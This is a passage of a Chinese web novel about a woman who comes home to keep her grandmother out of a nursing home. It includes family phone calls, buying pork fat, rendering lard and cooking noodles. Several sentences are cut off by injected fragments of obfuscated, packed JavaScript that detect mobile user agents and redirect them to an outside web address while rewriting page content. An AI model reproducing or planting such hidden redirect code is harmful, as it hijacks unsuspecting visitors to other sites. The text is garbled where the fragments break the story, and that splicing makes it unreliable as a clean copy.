l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17351441|199612||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 家都不说话了。 夏武阳凭空生出猜测:“你回来这趟,该不会是要专程接她去北京吧?” 夏轻不正面回答,只道:“这你们就别管了,我妈走得早,我爸不做人。外公外婆把我抚养长大,于情于理我都该对外婆尽孝。” “小颖,你可别托大,这事没你想的那么简单。”夏飞琳说,“我们几个还在呢,没道理让你来承担这份责任。” 李晓珍也附和:“虽然我们还没商量好,但绝对不可能让你来给外婆养老。” “不是养老,是照顾,还有陪伴。先前不是说了,圆满完成一个长线项目,老板一高兴,批准我把积攒的假期一起休了,平时用电脑就好,不着急回北京。”夏轻略作解释,笑着打趣他们,“我不会不声不响把外婆拐跑的,放心吧,你们想她了随时可以来看她。” 她的话,毫无疑问的让人心动。 连着吵了两天,始终吵不出结果。 有夏轻在,先缓和一阵子,再从长计议也是好的。 短暂的沉默中,众人迅速权衡利弊,得出结论,各自寻了借口相继离开。 转眼间,一方小院儿里只余下祖孙俩。 章万玉疲惫极了,佝偻的坐在桂树下,跃跃欲试的看着夏轻。 想同她确定,她刚才说的话到底是什么意思? 还想跟她解释,她的舅舅姨妈们不是没孝心,只是太多的有心无力。 可是章万玉一个字都说不出来。 她精疲力尽,更害怕在孙女这里读到任何一丝放弃的讯号…… 她老了,短时间内承受不了那么多。 “外婆您累了吧?”夏轻走过去把她扶起来,扶回客厅,“您先在沙发上躺一会儿,闭目养神,我去买菜。” “你去买菜?”章万玉反应不过来。 “对啊,买菜。”夏轻满脸苦涩,“童晓冉那个酒疯子,垂涎我的厨艺,昨天弄那么多酒过来就是为了多蹭几次饭,下午的菜都点好了。” 章万玉笑骂童家的姑娘,鬼精鬼精的。 夏轻给她倒了杯温水放在桌上,拿着手机,轻装出门。 章万玉交代她:“买块猪板油回来炼,没有猪油吃面都不香。” 夏轻没回头,轻快的应了声“好”。 章万玉不放心,又说:“板油别选到皮下的,要猪肚子上那块。” 夏轻依旧没回头,依旧应下来。 “小颖啊……”章万玉唤她的小名,声音哑哑的,底气不足。 夏轻停在门前,转过身来,隔着被阳光照得发亮的小院子,看她婆。 “有什么特别想吃的?” “不是。” “那是要我给您捎带买点儿什么?” 章万玉摇头,迟疑了一会儿才不安地问:“我就是想问问你,这次回来是要呆多久?” 夏轻眉梢轻扬,耍赖皮道:“那肯定是呆到您嫌我烦为止。” 院门打开,又被关上。 小院被阳光笼着,金灿灿的耀眼。 夏轻嘟囔着“这门破得跟乞丐之家似的,该换了,必须得换”,渐渐走远。 章万玉呆滞的坐在沙发上,听着孙女的念叨,回想她走前那句疑似兜底的话,僵硬的身躯缓慢放松下来。 心里,好像踏实了一点。 8. 熬猪油,一家一个熬法儿3 夏轻走出前进巷时,巷口的榕树下还没摆起四方桌。 平均年龄在七十五的常驻老年组,分散的坐在树下,晒太阳补钙。 其中就有跟章万玉关系最好的颜秀玉。 两个老太婆是前进巷的双玉姐妹花,兴趣相投,从年轻时要好到现在。 颜秀玉见夏轻出来,连忙问:“你婆还好不?” “没事儿,有我在呢。”夏轻语调轻快,“颜奶奶,下午来我家吃饭吧,给您做几道拿手好菜,酒管够!” 晚饭攒个闺蜜局,夏轻和童晓冉,作陪双玉姐妹花! 颜秀玉是个好酒的,而且酒量非常好,每晚都要小酌几杯。 儿子媳妇管她,她还会闹脾气! 有饭吃,颜秀玉当然要去。 “不喝你的酒,我自己带!” “行,我陪您喝两杯!” “你那小酒量,也就只能陪我两杯……” 颜秀玉嫌弃。 夏轻没辙的笑着,买菜去了。 老人家们开始议论今早夏家那一场激烈的唇枪舌战。 子女健全,有工作有收入,居然要把老母亲送去养老院? 简直倒反天罡! 在他们这些老古董看来,养老院和坐牢没差,没有自由。 进去就是等死,再也出不来了。 老李头带入自身,稍微想想都接受不了,反应激烈道:“要是我家那几个敢送我去养老院,我立刻跳河!死给他们看!” “哎哟,可不能给你家那几个听到,本来没想法的,听你一说,下午就集合全家来开会了,还没给你送进去,你着急忙慌往河里一跳,省事呀!我们还有席可以吃,89岁,是喜丧!” 作为前进巷知名的毒舌选手,颜秀玉几句话把李老头的跳河宣言按下去。 吓得他改注意,不死了,就赖在家里。 其他老头老太太安慰他,你家李大李二都是孝顺的,别怀疑孩子们的真心,知足吧! 是啊,人生苦短,知足常乐。 夏轻耳朵再灵也只能听到这儿了。 去菜市场的路上,做个简单的复盘。 这次回家是为了给自己充电,也幸好是回来了,再晚几天,外婆被送进养老院,夏轻做什么都迟了。 事情因为她的出现得以暂缓,大家也吵够了,第一阶段还差个收尾。 怎么收呢? 夏轻当着全家的面打包票说会照顾好外婆,他们信! 照顾多久,是个问题。 所以第一个联系夏轻的人是夏飞琳,委婉的发了条微信:【你空闲下来了给我打个电话,我要跟你聊一聊。】 是肯定的“要聊”,不是征求意见的“想聊”。 鉴于三姨旺盛的表达欲,夏轻决定在晚上睡觉前回电,确保一个速战速决。 第二个联系她的是夏武阳,同样是发微信:【照顾好你外婆!】 夏轻被这句甩锅的废话给逗笑了。 没错,是避重就轻的甩锅。 连着在外婆那儿吵了两天不提,为什么吵也不提,一句恳切的嘱托,乍听他是真有心无力、痛心疾首,心疼他年近八十的老母亲! 夏轻没回复,怕自己忍不住阴阳怪气…… 四舅不一定能看出来,四舅妈还在旁边呢。 反正他们发了信息就算关心过外婆了,任务完成了,结束了,好累呀,可得好好沉淀一阵子。 快走到菜市场的时候,童晓冉发语音说晚上有酒局,申请推迟满汉全席。 夏轻纠正没有满汉全席,只有夏小厨家常菜八道,随时恭候童总大驾。 童晓冉不挑,哈哈哈的应下,转而,假惺惺的关心她有没有被早上的世纪大战误伤到? 虽然童家全家都搬出了前进巷,但听八卦的人脉可以代代相传! 童晓冉在新的语音里感叹:“真是好事不出门,恶事传千里,据说你家房顶都被掀翻了八百遍。” “算不上世纪大战的规模,不过确实需要点时间搞灾后重建。” 夏轻回完这条,手机里收到大舅妈李晓珍的信息。 意思和夏飞琳一样,想和她电话沟通。 区别在于李晓珍的用词不强势。 夏轻这个大舅妈,能干、有主意,能帮人出靠谱主意! 可一旦涉及到以“家庭”为单位的利益得失,她就会变得攻于心计,一句话里藏着四五个弯弯绕。 夏轻能理解。 那是她保护自己、保护小家庭的方式。 当然了,理解是一回事,主张送外婆去养老院就要另当别论了。 夏轻戴上耳机,边买菜边回电话。 李晓珍目标明确,接通后,寒暄了两句便直奔主题。 “颖颖,不是我说你,你今天真的托大了,当着全家的面说要照顾外婆,北京的工作不要了?还是你要把她接到北京去跟你住?都不现实。” “送养老院就现实了?” 夏轻不轻不重的怼了一句。 这不是小辈对待长辈的态度,她就是要把内心的不忿表达出来。 他们不愿意承担的责任,夏轻会担! 夏轻孝顺外婆,子女尽孝母亲,压根不是一回事。 真到那时候,前进巷那么多双眼睛看着,传出什么样难听的闲言碎语都不过分,都该他们自己受着! 李晓珍正是清楚这点才直接找夏轻对线。 只要说服夏轻不要横插一脚,她总有办法让章万玉自愿住进养老院。 没想到的是,向来温顺的外甥女毫不客气的拆穿了她。 李晓珍意外得默了好一会儿,再开口,已然调整战略,开始像夏飞琳那样“想当年”。 她是有话术,有技巧的。 重点强调家庭的困难、生活的不易…… 讲的都是实话。 可日子是自己过出来,关关难过关关过。 夏轻知道她说这些都是在做铺垫,也不打断,径自在菜市场走走逛逛。 莴笋很新鲜,个头小巧、皮薄叶短,拿起就能闻到泥土里带出来的清香。 切丝凉拌,切片爆炒,切断煲汤,都可以! 夏轻挑了两颗,消费5块六。 剥好的豌豆米用红色的小篮子盛着,累得像小山一样高,和肉沫一起炒,那就是下饭神器! 来一盘的量,一顿吃完,不浪费。 今天的五花肉特别好,肥瘦相间、层次分明,表面油润微干,轻轻按压能迅速回弹,触感有润度,但不粘腻。 老板已经把皮烧了,刮得干干净净,整齐码放在摊子上,任由顾客挑选。 每一条都很好,夏轻犹豫了很久才拿定主意。 选好五花肉,该买猪板油了。 夏轻还真分不清外婆说的“皮下”和“肚子上”。 都是肥肉,有什么区别? 而且摊上只剩下一整块了,目测30CM×40CM的尺寸,方方正正的,从里向外渗透出油亮细腻的光泽,还挺治愈。 “老板,这块猪板油是哪个部位,我外婆叫我买猪肚子上,我分不清。” 分不清就开口问,夏轻不怕老板坑她。 主打一个真诚! 李晓珍知道她在买菜,苦情牌打到一半,硬生生给夏轻在线科普:“家里没猪油了?我跟你说,好的猪板油、就是你外婆说的猪肚子上的那一块,颜色是洁白的,皮下是乳白色,可能还会泛点黄。羊脂玉见过吗? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17351442|199612||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 照着那个买就行了。” 她语速飞快,生怕说慢了,外甥女买错肉,被坑个五块十块的。 老板做完另一位顾客的生意,回答说:“这是皮下油,今早宰的大猪,三百多斤,农村拉来的,是好猪,我都留了两匹排骨拿回自己家吃,最后一块了,熬出来的油不会比猪板油差,信我你就买回去试试。” 李晓珍隔空喊话:“他说的不算!猪板油和皮下油就是两回事!” 夏轻盯着那块白腻腻、油润润的大方砖:“我瞧着它如花似玉的,是羊脂玉那个意思。” 她心动。 老板看出她“背后”有高人指点,完全不虚:“对吧,我骗你做什么,中午都没过,我又不着急卖。” 菜市场小,统共两家肉摊,眼前这块皮下油是唯一的选择。 不买只能等明天,或者去更远的农贸市场。 “外婆想吃面了……” 夏轻自言自语,说完才想起还在跟舅妈打电话,真没想搞她心态! 李晓珍没说什么,斩钉截铁道:“那让老板便宜点!” 夏轻没辙,只好硬着头皮讲价。 老板见她像个提线木偶,有自我意志,但不多,可怜兮兮的,给了她一个同情向的优惠价。 称重算账,扫码付款。 李晓珍忙不迭继续叮嘱:“叫他给你切片,你回家清洗干净就可以直接熬了。切成大概筷子头那么厚的,一寸半那么长,这样最合适。” 夏轻不好意思的看了老板一眼,还没开口呢,老板秒懂。 “切片是吧?等着。” 夏轻连连点头,将脸上的局促转化为一抹“感激”的笑。 肉摊老板的刀子锋利,手上的动作又快又准,还能跟她搭话:“你是个孝顺的,被你妈手机遥控来菜市场跑腿。我家姑娘平时忙得要死,周末睡到下午两三点,我不去看她,都怕她饿死在家里!” 夏轻想解释,电话那边的是舅妈。 大舅妈。 李晓珍得意的“哼”了一声,跟老板无障碍唠起来:“我们家小颖从小到大都孝顺,学习成绩又好,淮安镇最出息的没有之一!舅妈也是妈,他没说错。” 后面一句是对夏轻说的,不接受反驳。 舅妈也是妈! 李晓珍是管过夏轻的。 在她14岁的那年,姓杜的被发现出轨,索性破罐子破摔,铁了心要离婚,跟外面的组织家庭,过日子! 夏轻的妈妈夏晚栀是个重感情的人,不愿离,离不开。 深夜时分独自在河边走啊走,不知是滑了一下,还是真的钻了死胡同。 总之,第二天被人发现时,早已没了呼吸。 晴天霹雳正中夏家,全家都懵了。 夏庆光当场发了心脏病,送到医院急救。 章万玉愕然失语,整个人差点跟着大女儿去,魂都没了。 夏文涛夏武阳还有一个夏飞琳,三人难得拧成一股绳儿,扬言要拆了杜程偷偷经营了好几年的家,把小野种从楼上扔下去砸死! 让他盼儿子! 关键时刻,是李晓珍站出来阻止他们扩大闹剧。 托医院的好友关照二老,拉着六神无主的夏轻张罗丧事。 通知亲友,前进巷的街坊邻居,夏晚栀的单位,夏家的亲戚,还有杜家的亲戚! 一个都不能少! 从灵堂的规格到骨灰盒,从随礼记账到礼品卡和毛巾,中午下午的便饭,晚十点的宵夜……这里面不仅藏着门道,还有礼数。 稍有错漏,失的是夏晚栀的脸面。 李晓珍红着眼眶对夏轻说:“我知道你难受,忍一忍,别让外人看了笑话。送完大姐最后一程,舅妈陪你一起哭!” 9. 熬猪油,一家一个熬法儿4 在黔地,无论早幺的孩童,未被命运眷顾的少年,意外或病故的男男女女,睡梦中悄然离去的老人,丧事都要热闹的办! 活着的人坚信,最后一站越响,逝者走得越安详。 夏轻至今还记得那乱中有序的三天两夜。 灵堂内总是烟熏火燎的,如同从地府漫过来的迷雾,接通了阴阳。 哭声、麻将声混淆在一起,不敌外面乐队撕扯喉咙嚎出的一曲,又一曲…… 比唢呐更尖锐的是脑中挥之不散的嗡鸣。 那是夏轻人生中经历的第一场与死亡有关离别,主角是她的母亲。 李晓珍全程陪伴,像个大管家一样张罗所有。 后来夏轻决定改姓,获得全家支持。 只有李晓珍私底下悄悄问她,真的想好了吗? “改姓的确可以证明你的态度,但并不能抹除你属于杜家的那一部分,你也不需要去否定自身的那部分。错的是杜程,你没有错。” 舅妈也是妈。 这话,也是没有说错的。 夏轻拎着大包小包走出菜市场,其中一包是肉摊老板切得方方正正的猪油。 想到煎熬的过往,没点儿感慨是不可能的。 李晓珍也一样。 被自己亲口说出的真心话搅得五味杂陈,原先的思路断了,再没做戏走流程的心思。 缓了片刻,她“哎”地发出一声叹息,无奈笑了:“你说你,怎么偏在这时候回来。” 他们家的那些个情况,就是不说,大家都是清楚的。 自从厂子关门,夏文涛一蹶不振。 从厂长到小区保安,心理落差大了,身体每况愈下。 要命的基础病爆发式的找上夏文涛,他的脾气变得愈发古怪,看谁都不顺眼,路过的狗都要被他骂两句。 更闹心的是两人的独生子——夏韩。 他比夏轻小七岁,从小到大一直很乖,读书虽然不如姐姐厉害,但也顺利考进筑城大学,念上热门专业。 谁曾想大学谈了个女朋友,夏韩爱惨了对方,恋爱脑的属性显露出来。 两人分分合合、断断续续的纠缠到大四,今年三月,女方坚决跟他分手,再没回应过什么。 夏韩挽回不能,像他老子那样同款一蹶不振。 论文是夏轻帮他把的关,勉强过了答辩,神游的混完毕业典礼,回家躺平。 而李晓珍面临的是怎样的家庭困境呢? 一周六天班,累了一天回到家,丈夫在客厅里骂骂咧咧的看电视,儿子缩在房间里抽烟打游戏。 她还得给父子两做饭! 这样一眼望不到头的日子让她倍感绝望。 想过离婚,再想起家里富裕时夏文涛对她的好,又打消了念头。 好不容易前进巷传出拆迁的消息,她兴高采烈拉着夏文涛去打听,去找章万玉商量。 真拆迁了,得是不小的一笔数目呢! 李晓珍想着,跟妈借一点儿,找自家兄弟姐妹凑一点儿。 在商业街盘个店,做点小生意,总比当保安强! 地方支持旅游经济,小镇附近的农家乐都赚到了钱,只要肯努力,一定会好起来的! 有了盼头,夏文涛也几乎不药而愈了。 自发跟着李晓珍去商业街看门面,周末下厨炒几个小菜,看着待业在家的儿子,劝他不要执着于无法挽回的感情,鼓励他出去看看世界,找份工作,学着踏实生活。 才过几个月,前进巷又不拆了。 收到居委会群发的信息,希望覆灭的夏文涛跟李晓珍大吵一架。 紧接着,夏飞琳挨个通知全家人,就着给母亲养老的问题召开家庭会议。 搞得郑重其事的。 核心思想只有一个:章万玉年纪大了,不能放任她独居。 在李晓珍看来,这很合理。 人都会变老,假如身体各方面不错,还会老很久很久。 章家是有长寿基因在的。 章万玉这一辈,加她总共有七个,她是老三。 除了早幺的老大,病故的老五,老辈子们都健在,并且耳聪目明,身体健朗。 章万玉性格要强,骨子里极其保守。 尤其夏庆光过世后,她嘴上没说,其实内心很依赖儿子。 在她的思想观念里,养儿防老是根深蒂固的法则,是铁律! 夏武阳四十出头了还没定数,每个月都要悄悄找章万玉要个两百三百的烟钱,压根指望不上。 夏文涛以前是能干的,可以扛事的。 如今…… “我也不瞒你,家里的两套房子,小韩那套简单装修了一下长租出去,用房租还贷款。我们现在住的这套还有七年才还完。但两套房子都给妈准备了房间,而且床的两边都留下空余。这样安排是为了以后、万一妈瘫了,我们方便在床前绕来绕去的、照顾她。” 李晓珍说到这儿,微有哽咽。 曾几何时,夏文涛从未说过,她却早已将这些必要的事情考虑在内,默默执行。 “你外公过世后,我接她跟我们一起住。先头几天你大舅还能控制脾气,后来就不行了,刻薄话张口就来,刺得你外婆鼻酸眼红,不到两个月就闹着回前进巷。三妹和老四来帮她搬东西,言语间都是怪我没把妈照顾好。” “您本意是好的。” 夏轻知道她尽力了。 道理李晓珍都明白,他就是不懂明明自己已经那么努力了,为什么求不到一个好一点的结果? 经过这些天,这些事,她真的累了,好累好累…… “我当然清楚三姐的提议最好,对妈好!可我现在自己都不愿意在家里呆着。思来想去,或许让妈住进养老院才是最好的选择,凡事都有过程,你说你为什么非要——” “我辞职了。” 夏轻定在路边,民国装扮的车夫拉着游客从她面前经过,短暂吸引了她的目光。 降噪耳机里,李晓珍的声音格外焦灼:“你辞职了?那么好的工作怎么能说不要就不要?” “舅妈。”夏轻安抚的唤她,“您相信我吗?” 李晓珍只愣了一下就反问道:“我可以相信你吗?” 不愧是大舅妈,没入套。 夏轻说:“辞职是选择,您或许不理解,但请你相信我。” 相信她的能力、远见,对梦想的追求。 李晓珍猜测道:“你打算创业?” 其实关于自己的部分,夏轻还没想好,但眼下最首要的是说服舅妈放弃送外婆去养老院。 “是有这个打算。”她没把话说死,“所以——” 李晓珍抓到漏洞:“只是“打算”,你就敢夸口给外婆养老,那要是计划有变,你又该怎么办?” “那不是还有你们吗。” 夏轻跟着人潮一起走过新划上没多久的斑马线。 “记得小学二年级的时候,有一次下大暴雨,外婆撑着伞来学校接我,河水涨起来,没过了桥面,我怕得不敢走,外婆就背着我过去。她那么矮小的个子,背上背着一个我,还有我背上重得好像塞了两块大砖头的书包。昏黄的河水摸过她的脚踝、小腿,眼看着就要拦腰了,外婆忽然停 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17351443|199612||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下来,嫌弃的看了我一眼,说:怕什么怕,离肠子还远得很!” 也就死不了的意思。 夏轻和李晓珍都在电话里笑了。 现在章万玉只是右脚有些不便,需要杵拐杖才走得稳,除此之外,她身子骨硬朗着呢。 年初夏轻回北京前带她去省医看牙科,牙片一出来,整个科室都震惊了,从医多年,没见过这岁数的老人家有那么好、那么完整的一口牙! 那天可给章万玉得意坏了,全然忘了走进医院时的不安,中气十足的跟医生们传授自己的护齿心得。 她那么骄傲、那么敏锐易感。 送她去住养老院,太可怜了…… 夏轻想像小时候外婆背自己那样,也背着外婆走一段。 遇到水就淌水,遇到河就行桥,遇山就翻,翻不过绕开就好了! 什么时候走不动了,停下来看看风景。 休整好了,再度出发。 路就在那儿,只管行去便是。 李晓珍终于被说服。 …… 回到家已经是11点半。 温度升上来了,怪闷的。 章万玉侧躺在客厅的沙发上,肩膀以下盖了张薄毯,应该是眯过去了。 夏轻站在门口瞄了她一眼,安静退出,捞起袖子钻进厨房。 熬猪油这件事,一家有一家的熬法儿。 夏轻不会选猪板油,但炼油手法还不错。 用温水浸泡清洗切好的猪板油,水温不用太高,稍微带一点温度,能把猪油上的颗粒洗掉就好。 往锅里加适量清水,放一截大葱、几块厚度适中的姜片,一小把花椒——大火熬制。 待水开后,煮出香味即可捞出香料,将洗好的猪板油放进去。 这时候需要确保锅里的猪板油和水的比例为3:1,倒入少量料酒,继续用大火煮干水分,直至水分快要蒸发完全时,转小火慢熬。 过程中要不断用锅铲翻搅,避免锅底粘糊。 等到猪油溢出,油渣能够飘起来,可以调成中火加速炼制。 当油渣变成金黄色,体积缩小并浮在油的表面,关火静置。 最关键的一步来了—— 取一只瓷勺,一勺酱油的量,均匀的洒在油渣上。 这时候油温还在一个逊于最高点的温度,接触到液态的酱油,立刻爆发出滋啦的响声。 千万不要用锅铲搅动! 因为在蒸发的过程中,酱油会完全粘附在油渣上,油色和香味也随之浸入到内部。 这一步结束,捞出油渣,猪油就熬制好了。 厨房里盈满难以言喻的香味儿,夏轻直接用手拿起刚捞出来放碗里的油渣,糊弄的吹两下,迫不及待放嘴里——仔细品尝。 略带着少许鲜咸的油渣,外酥里软。 油脂在齿间缓慢滑动、缠绕,最后扩散开…… 一点儿都不腻,只有纯粹的香! 夏轻本来只想检验一下自己的劳动成果,结果接二连三的吃起来,根本打不住。 烫在指尖,香在嘴里,满足在身和心。 怎么能那么好吃! 章万玉不知道什么时候醒的,站在她身后看了许久,忍不住出声,说:“也不知道拿双筷子。” 夏轻嘶嘶出声,像是烫着了,更像是馋的。 一大碗油渣给她婆递过去。 “快,趁热吃!用手抓的才香!” 章万玉犹豫不过半秒,假意瞪着孙女,诚实的伸出手,拿起一颗放进嘴里。 嗯,好吃,下饭,更下酒! 10. 毛辣酱和碱水挂面 猪油熬好了,中午必须吃面。 做什么浇头好呢? 章万玉用眼神示意夏轻——老哈数,明白否? 夏轻眉梢一扬,转身从冰箱里抓出一把小西红柿洗干净备用。 不同于水果店里卖的圣女果,这种本地野生的小西红柿皮薄汁多,相较大果滋味偏酸,是做红酸汤主要原料。 地方话喜欢亲切的喊它:毛辣果。 熬猪油的锅,余温还在,舀一勺油加进去,开大火,油热后放一撮姜丝炒香,再放毛辣果炒出粘稠的酱汁。 调料只需要用到盐和酱油,也可以在起锅前加少许砂糖提鲜,中和掉毛辣果里过量的酸味。 洒上葱花点缀,一碗毛辣酱就做好了。 另起一口锅,烧水煮面! 章万玉在赶场那天起了个大早,专程去买的挂面。 现在市面上大多数的挂面用的“碱水”都是工业碳酸钠,而罗甸碱水挂面却是就地取材:以草木灰为原料,通过繁琐的过滤和发酵工艺、去杂留碱,得到天然灰水,再按比例加入小麦粉揉制。 成型后的湿面条需在日光下自然晾晒风干,利用本地低纬度高海拔的干燥气候?,缓慢脱水定型。 晾晒过程中,碱性成分与面筋会持续作用,形成独特“回甘”余韵。 这样制作出来的挂面,不依赖任何化学添加剂,全靠山地资源、水质特性和世代经验?的传承与协作。 挂面成品整体淡黄,口感上能保持清晰的嚼劲,还有草木灰轻微的焦香,以及发酵后的明朗的碱味儿。 祖孙俩平分毛辣酱,加油渣,拌匀开炫! 面条劲道,酱汁鲜咸,油渣焦香酥脆…… 黔地独特的风味,尽数汇聚在这一碗家常拌面里。 饭罢,章万玉拿了把蒲扇坐到桂树的树荫底下,扇风、消食。 天很闷,强烈的日光笼罩着整个小镇,晃得人睁不开眼。 又因为镇上有一条河贯穿始末,空气中的水分总是要比其他地方厚重、粘腻。 夏轻站在厨房外的台阶上,抬着头,盯着挤满云层的天空,眼巴巴的吐槽,“痛快点儿下了不行吗。” 章万玉闭着眼睛,幽幽说道:“少说还要三天。” 夏轻摸出手机查看天气预报,确实是在三天后会有一场特大暴雨。 再看躺椅上闭目养神的老太婆,感叹:“这么准的?” 章万玉故作神秘的一笑,轻拍右腿:“还没那么疼。” 原来如此。 既然这雨一时半会儿下不来,夏轻认命的转身钻进厨房,在双皮奶和绿豆汤之间选择了步骤更简单的后者。 绿豆淘洗干净,泡都懒得泡,直接倒进高压锅里,加适量的水,锅盖一拧,大火压十分钟。 在绝对的热能面前,再硬的豆子也会老实就范。 打一碗凉白开,抓一把□□糖放进去搅拌至完全化开,保鲜膜封好,放到冰箱的冷冻层。 准备就绪,夏轻用印有“优质青年”的茶缸给自己泡杯红茶,端着回到小院里,拖来她的专属小椅子,一屁股坐进去,调整坐姿,发出一声满足的叹息。 “还是家里好……” 空气里的粘腻潮湿是她熟悉的,虽然让人烦闷,却早就习以为常。 一墙之隔的河水有着她怀念的哗哗声,像融入了人生的背景音,无论身在北京上海还是纽约巴黎,只要耳边回响起水流的声音,她的脑海中总会第一时间浮现出这座安宁清秀的西南小镇。 这是她出生长大的地方。 章万玉掀起眼皮,从虚掩的缝隙里望过去。 望到一个朦胧不清、比想象中大出许多的身影,坐在小巧的椅子上。 看起来既陌生,又熟悉。 椅子是上了年头的物件,夏庆光亲自做的。 不记得放电影是放到哪个乡,把乡民们看美了,为了感谢夏放映员,用牛车给他拉了这么一块木料回来。 上等的柚木,木质细腻紧实,木纹漂亮,耐磨又防霉。 夏庆光兴致勃勃的从隔壁王木匠家借来工具,想象外加借鉴,敲敲打打,浪费不少材料,最后就做出这么一把。 那时章万玉还年轻,家里只有夏晚栀一个孩子,柚木椅子成了她的“宝座”。 后来夏文涛夏飞琳几个陆续出生,宝座却只有家里的老大才能坐得。 平时哪个敢坐一下,会挨揍。 孩子们长大了,离开家,出去工作,柚木椅子就此闲置下来。 章万玉嫌占地方,送给收破烂的,送出去,又被夏庆光追着要回来。 “什么都可以扔,这把椅子不行,以后留给老大的孩子坐!” 夏庆光急得脖子都红了,瞪着眼睛朝章万玉吼。 章万玉好气又好笑,最终松口答应:“行,留着当你夏家的传家宝!” 没过多久,夏晚栀谈恋爱了。 隔壁县杜家的,父母都是小学老师,家里总共有兄弟五个,夏晚栀的对象叫杜程,排老三,大专学历,在汽运公司开货车。 那年头的司机可了不得,工资还高! 杜程长得也不赖,眉目俊秀,说话声音洪亮,嗓音条件极好,联合晚会上一首独唱《在那遥远的地方》,愣是把州歌舞团拔尖的舞蹈演员夏晚栀征服了。 两人恋爱过程颇为顺利,不到一年便结了婚,跟着有了夏轻。 夏晚栀常年随团下乡做慰问演出,杜程开着货车拉煤、拉石料,拉各种农产品,辗转于黔地各县市。 小两口都没时间带娃,夏轻不到一岁就扔给夏庆光和章万玉。 那把落空许久的柚木椅子,终于等到它的新主人。 虽说夏轻是外孙,那会儿她还叫杜轻晴,却是享尽了二老的疼爱。 在那个年代,人长大了就要找工作,有了工作,就该成家了。 父母帮子女带孩子,天经地义的。 现在的年轻人,张口闭口都是搞钱,恋爱谈了跟没谈一样,结婚更是问都不要问——遥遥无期! 说的就是夏轻! 章万玉想到这里,忍不住哼了一声。 “咋了嘛。”夏轻耳朵灵,从这声哼哼里听出不满,“对我有意见,大声的说出来,我又不是不可以改。” 可不能憋坏了家里的老宝贝。 章万玉怅然的看着她,“你怎么知道我在哼你?” 夏轻环顾四下:“院子里就咱俩,你不哼我,难道是哼你自己?” “那没有。”老太婆目光下沉,盯着她屁股底下那把结实的小木椅子。 夏轻跟着低头,看着这代代相传的宝座,似有所悟。 “要催婚?” “催你有用吗?” “那没有。”夏轻从用词到口吻语调,跟章万玉一模一样。 章万玉只好继续哼。 厨房里,高压锅“咄咄咄”的喷着气,绿豆的香味从里面飘出来。 夏轻扭头看了一眼,再望回她婆,觉得可以坦白一部分。 正要开口,章万玉先老神在在的问:“什么原因和小林分的手 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17352678|199612||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 啊?” 夏轻顿了一瞬,拿起茶杯战术性的吹了吹,喝之前,言简意赅道:“他家看不上我。” 章万玉有是“哼”出一声。 这次是替孙女不值。 哼完了,她还有些不死心,直起上半身,仔细的问:“那小林是个什么态度?” 夏轻无所谓的耸肩,笑笑:“但凡他态度坚决,这会儿我都在跟他商量小孩送哪个幼儿园了。” 一句话揭开事情本质。 章万玉这把年纪,什么风浪没见过? 孙女工作第二年就把林奉带回来,林奉这孩子呢,外婆外公的叫着,手里有活儿,心里有人,是很讨他们喜欢。 可是这么多年过去,林家父母愣是没露过面。 明白人都不用问为什么! “成不了就换一个,也没想到你能跟他耗那么久。”隔了好一会儿,章万玉复杂的叹了口气,“现在这岁数,高不成低不就的,童晓冉的孩子都读小学了,你连个对象都没有。” 不好,真让童总说对了,犯天条了呀! “我先缓缓吧,感情的事急不来。”夏轻打马虎眼,转移话题,“我要不回来,还不知道家里吵得那么凶,您都快被打包送进养老院了。” 一说这个,章万玉就急眼了。 “我不点头,谁敢强迫我?我就是死都是要死在这个院子里的!” “得了吧,您也就嘴上狠两句。”夏轻发愁的看着老外婆,“大舅跟你哭个穷,四舅跟你诉个苦,小姨再跟你撒个娇,您只剩下跟三姨住这一个选择。三姨那话痨的密集程度,续航能力极强,你愿意去?” 章万玉一脸拒绝。 夏轻两手一摊:“养老院走着?” 章万玉抿着嘴不说话,委屈了。 转念一想,不对啊…… “你上午才说要管我。”老太婆瞬间支棱起来,露出一副“我考考你”的表情,“你要怎么管?” 年假是有时限的,休息结束,总得回公司报道。 夏轻用眼神扫向她的卧室:“收拾行李,跟我去北京。” “不行,你忙起来饭都顾不上吃,我去了不是给你增加负担吗?”章万玉最怕的就是成为子女儿孙的负担。 夏轻话风一转,试探道:“那我留下来陪您?” “工作不要了?” “嗯,不要了,那个破班,上起来没日没夜丧心病狂的,您都不知道甲方多难伺候……” 章万玉“行行行”的抬起手,打断她施法。 “别扯远了,说点儿有用的。” 